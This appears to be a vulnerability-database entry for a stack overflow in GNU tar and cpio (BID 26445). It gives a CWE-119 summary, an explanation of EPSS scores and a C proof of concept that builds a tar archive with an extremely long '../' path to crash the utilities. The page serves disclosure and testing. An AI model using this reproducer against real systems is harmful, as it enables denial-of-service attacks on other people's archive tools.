CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/26445/info GNU's tar and cpio utilities are prone to a denial-of-service vulnerability because of insecure use of the 'alloca()' function. Successfully exploiting this issue allows attackers to crash the affected utilities and possibly to execute code, but this has not been confirmed. GNU tar and cpio utilities share the same vulnerable code and are both affected. Other utilities sharing this code may also be affected. /* * paxlib's safer_name_suffix() stack overflow reproducer. */ #include <stdlib.h> #include <string.h> #include <errno.h> #include <error.h> #include <fcntl.h> #include <sys/resource.h> #include <libtar.h> int main(int ac, const char *av[]) { struct rlimit r; unsigned count, i; char *s; TAR *t; if (ac != 2) error(1, 0, "exactly two arguments expected"); if (getrlimit(RLIMIT_STACK, &r)) error(1, errno, "getrlimit RLIMIT_STACK"); count = r.rlim_cur / 3 + 1; if (!(s = malloc(count * 3 + 1))) error(1, errno, "malloc: %u", count * 3 + 1); for (i = 0; i < count; ++i) memcpy(s + i * 3, "../", 3); s[count * 3] = '\0'; if (tar_open(&t, av[1], NULL, O_WRONLY|O_CREAT, 0644, TAR_GNU)) error(1, errno, "tar_open: %s", av[1]); if (tar_append_file(t, "/dev/null", s)) error(1, errno, "tar_append_file: %s", av[1]); if (tar_close(t)) error(1, errno, "tar_close"); return 0; }
